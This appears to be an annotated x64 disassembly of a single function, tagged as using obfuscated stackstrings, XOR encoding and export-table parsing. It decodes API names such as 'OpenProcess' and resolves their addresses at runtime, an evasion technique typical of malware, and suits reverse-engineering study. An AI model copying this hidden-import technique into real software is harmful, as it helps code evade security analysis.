Function at 0x1400cb660
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
xor ebx, ebx
mov dword [rbp - 0x20], 0x326f3262
mov rsi, rcx
mov qword [rcx], rbx
mov qword [rcx + 8], rbx
lea rdx, [rbp - 0x20]
mov qword [rcx + 0x10], rbx
mov qword [rcx + 0x18], rbx
lea r8d, [rbx + 6]
mov qword [rcx + 0x20], rbx
mov qword [rcx + 0x28], rbx
mov qword [rcx + 0x30], rbx
mov qword [rcx + 0x38], rbx
mov qword [rcx + 0x40], rbx
mov qword [rcx + 0x48], rbx
mov qword [rcx + 0x50], rbx
mov qword [rcx + 0x58], rbx
mov qword [rcx + 0x60], rbx
mov qword [rcx + 0x68], rbx
mov qword [rcx + 0x70], rbx
mov qword [rcx + 0x78], rbx
mov ecx, 0x322a
mov dword [rbp - 0x1c], 0x32623279
mov dword [rbp - 0x18], 0x32623268
mov dword [rbp - 0x14], 0x3202321c
mov dword [rbp - 0x10], 0x3276321f
mov dword [rbp - 0xc], 0x3278327f
mov word [rbp - 8], bx
mov byte [rbp - 6], 1
movd xmm1, dword [rdx]
lea rax, [rcx - 1]
movq xmm0, rcx
movq xmm2, rax
punpcklqdq xmm2, xmm0
add rcx, 2
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rdx], xmm1
lea rdx, [rdx + 4]
sub r8, 1
jne 0x1400cb702
lea rcx, [rbp - 0x20]
mov byte [rbp - 6], bl
call fcn.140086e64
mov rdi, rax
mov qword [rsi], rax
mov rcx, rbx
mov dword [rbp - 0x20], 0x424e5a66
mov dword [rbp - 0x1c], 0x53405c7d
mov dword [rbp - 0x18], 0x404154
mov byte [rbp - 0x14], 1
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xb
jb 0x1400cb770
mov byte [rbp - 0x14], bl
test rdi, rdi
jne 0x1400cb78d
mov rax, rbx
jmp 0x1400cb7d9
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cb7b3
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
call 0x140b537eb
int3
movdqa xmm0, xmmword [0x1402140e0]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rsi + 8], rax
mov dword [rbp - 0x10], 0x1005e58
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x12
jb 0x1400cb7f4
mov rdi, qword [rsi]
mov byte [rbp - 0xd], bl
test rdi, rdi
jne 0x1400cb814
mov rax, rbx
jmp 0x1400cb860
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cb83a
lea r14, [r14 + 4]
add r15, 2
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
push rbx
call 0x1404a2bf4
test eax, eax
jne 0x1400cb832
mov eax, dword [r12 + rdi + 0x1c]
movzx ecx, word [r15]
add rax, rdi
mov eax, dword [rax + rcx*4]
add rax, rdi
movdqa xmm0, xmmword [0x140213fa0]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rbp - 0x10], 0x4f595c
mov byte [rbp - 0xc], 1
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x13
jb 0x1400cb87f
mov rdi, qword [rsi]
mov byte [rbp - 0xc], bl
test rdi, rdi
jne 0x1400cb89f
mov rax, rbx
jmp 0x1400cb8eb
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cb8c5
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
call 0x140bb2d44
int3
mov qword [rsi + 0x18], rax
mov rcx, rbx
mov dword [rbp - 0x20], 0x5859437f
mov dword [rbp - 0x1c], 0x71434f58
mov dword [rbp - 0x18], 0x575c5e5d
mov dword [rbp - 0x14], 0x1004e70
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xe
jb 0x1400cb90e
mov rdi, qword [rsi]
mov byte [rbp - 0x11], bl
test rdi, rdi
jne 0x1400cb92e
mov rax, rbx
jmp 0x1400cb97a
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cb954
lea r14, [r14 + 4]
add r15, 2
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
push rdx
call 0x1406b728d
test eax, eax
jne 0x1400cb94c
mov eax, dword [r12 + rdi + 0x1c]
movzx ecx, word [r15]
add rax, rdi
mov eax, dword [rax + rcx*4]
add rax, rdi
mov qword [rsi + 0x30], rax
mov rcx, rbx
mov dword [rbp - 0x20], 0x5859437f
mov dword [rbp - 0x1c], 0x76434f58
mov dword [rbp - 0x18], 0x71565743
mov word [rbp - 0x14], 0x4d
mov byte [rbp - 0x12], 1
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xd
jb 0x1400cb9a0
mov rdi, qword [rsi]
mov byte [rbp - 0x12], bl
test rdi, rdi
jne 0x1400cb9c0
mov rax, rbx
jmp 0x1400cba0c
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cb9e6
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
call 0x14035de5b
int3
mov qword [rsi + 0x48], rax
mov rcx, rbx
mov dword [rbp - 0x20], 0x5859437f
mov dword [rbp - 0x1c], 0x76434f58
mov dword [rbp - 0x18], 0x565743
mov byte [rbp - 0x14], 1
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xb
jb 0x1400cba2c
mov rdi, qword [rsi]
mov byte [rbp - 0x14], bl
test rdi, rdi
jne 0x1400cba4c
mov rax, rbx
jmp 0x1400cba98
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cba72
lea r14, [r14 + 4]
add r15, 2
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
push rdi
call 0x140a4337d
test eax, eax
jne 0x1400cba6a
mov eax, dword [r12 + rdi + 0x1c]
movzx ecx, word [r15]
add rax, rdi
mov eax, dword [rax + rcx*4]
add rax, rdi
mov qword [rsi + 0x50], rax
mov rcx, rbx
mov dword [rbp - 0x20], 0x5f44466a
mov dword [rbp - 0x1c], 0x5e4e6648
mov dword [rbp - 0x18], 0x565e55
mov byte [rbp - 0x14], 1
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xb
jb 0x1400cbab8
mov rdi, qword [rsi]
mov byte [rbp - 0x14], bl
test rdi, rdi
jne 0x1400cbad8
mov rax, rbx
jmp 0x1400cbb24
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cbafe
lea r14, [r14 + 4]
add r15, 2
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
push rax
call 0x140c23b37
test eax, eax
jne 0x1400cbaf6
mov eax, dword [r12 + rdi + 0x1c]
movzx ecx, word [r15]
add rax, rdi
mov eax, dword [rax + rcx*4]
add rax, rdi
mov qword [rsi + 0x38], rax
mov rcx, rbx
mov dword [rbp - 0x20], 0x484a4565
mov dword [rbp - 0x1c], 0x424d4761
mov dword [rbp - 0x18], 0x754a4050
mov word [rbp - 0x14], 0x100
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xc
jb 0x1400cbb46
mov rdi, qword [rsi]
mov byte [rbp - 0x13], bl
test rdi, rdi
jne 0x1400cbb66
mov rax, rbx
jmp 0x1400cbbb2
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cbb8c
lea r14, [r14 + 4]
add r15, 2
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
push rbx
call 0x1409dcdba
test eax, eax
jne 0x1400cbb84
mov eax, dword [r12 + rdi + 0x1c]
movzx ecx, word [r15]
add rax, rdi
mov eax, dword [rax + rcx*4]
add rax, rdi
mov qword [rsi + 0x20], rax
mov rcx, rbx
mov dword [rbp - 0x20], 0x7c5f4f6e
mov dword [rbp - 0x1c], 0x714c415f
mov dword [rbp - 0x18], 0x51415655
mov dword [rbp - 0x14], 0x1004546
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xe
jb 0x1400cbbd5
mov rdi, qword [rsi]
mov byte [rbp - 0x11], bl
test rdi, rdi
jne 0x1400cbbf5
mov rax, rbx
jmp 0x1400cbc41
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cbc1b
lea r14, [r14 + 4]
add r15, 2
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
push rbx
call 0x140b7466d
test eax, eax
jne 0x1400cbc13
mov ecx, dword [r12 + rdi + 0x1c]
movzx edx, word [r15]
add rcx, rdi
mov eax, dword [rcx + rdx*4]
add rax, rdi
movdqa xmm0, xmmword [0x140214070]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rsi + 0x28], rax
mov dword [rbp - 0x10], 0x100434b
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x12
jb 0x1400cbc5c
mov rdi, qword [rsi]
mov byte [rbp - 0xd], bl
test rdi, rdi
jne 0x1400cbc7c
mov rax, rbx
jmp 0x1400cbcc8
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cbca2
lea r14, [r14 + 4]
add r15, 2
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
push rbx
call 0x1406f8af3
test eax, eax
jne 0x1400cbc9a
mov eax, dword [r12 + rdi + 0x1c]
movzx ecx, word [r15]
add rax, rdi
mov eax, dword [rax + rcx*4]
add rax, rdi
movdqa xmm0, xmmword [0x140213f10]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rsi + 0x40], rax
mov word [rbp - 0x10], 0x100
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x10
jb 0x1400cbce2
mov rdi, qword [rsi]
mov byte [rbp - 0xf], bl
test rdi, rdi
jne 0x1400cbd02
mov rax, rbx
jmp 0x1400cbd4e
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cbd28
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
call 0x1404d355f
int3
movdqa xmm0, xmmword [0x140213f20]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rsi + 0x58], rax
mov word [rbp - 0x10], 0x100
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x10
jb 0x1400cbd68
mov rdi, qword [rsi]
mov byte [rbp - 0xf], bl
test rdi, rdi
jne 0x1400cbd88
mov rax, rbx
jmp 0x1400cbdd4
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cbdae
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
call 0x140c9ee07
int3
movdqa xmm0, xmmword [0x1402141e0]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rsi + 0x60], rax
mov word [rbp - 0x10], 0x100
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x10
jb 0x1400cbdee
mov rdi, qword [rsi]
mov byte [rbp - 0xf], bl
test rdi, rdi
jne 0x1400cbe0e
mov rax, rbx
jmp 0x1400cbe5a
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cbe34
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
call 0x1408f57f2
int3
mov qword [rsi + 0x68], rax
mov rcx, rbx
mov dword [rbp - 0x20], 0x59584f7b
mov dword [rbp - 0x1c], 0x587b4b40
mov dword [rbp - 0x18], 0x50525743
mov word [rbp - 0x14], 0x100
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0xc
jb 0x1400cbe7c
mov rdi, qword [rsi]
mov byte [rbp - 0x13], bl
test rdi, rdi
jne 0x1400cbe9c
mov rax, rbx
jmp 0x1400cbee8
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cbec2
lea r14, [r14 + 4]
add r15, 2
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
push rbx
call 0x140562dc8
test eax, eax
jne 0x1400cbeba
mov eax, dword [r12 + rdi + 0x1c]
movzx ecx, word [r15]
add rax, rdi
mov eax, dword [rax + rcx*4]
add rax, rdi
movdqa xmm0, xmmword [0x140214030]
mov rcx, rbx
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rsi + 0x70], rax
mov dword [rbp - 0x10], 0x54585b7a
mov word [rbp - 0xc], 0x58
mov byte [rbp - 0xa], 1
lea eax, [rcx + 0x29]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x15
jb 0x1400cbf0d
mov rdi, qword [rsi]
mov byte [rbp - 0xa], bl
test rdi, rdi
je 0x1400cbf74
movsxd rax, dword [rdi + 0x3c]
mov r12d, dword [rax + rdi + 0x88]
mov r14d, dword [r12 + rdi + 0x20]
mov r15d, dword [r12 + rdi + 0x24]
add r14, rdi
add r15, rdi
jmp 0x1400cbf4e
mov ecx, dword [r14]
lea rdx, [rbp - 0x20]
add rcx, rdi
call 0x140bde80a
int3
mov rdi, qword [rsp + 0x70]
mov rax, rsi
mov r12, qword [rsp + 0x78]
mov qword [rsi + 0x78], rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop r15
pop r14
pop rbp
ret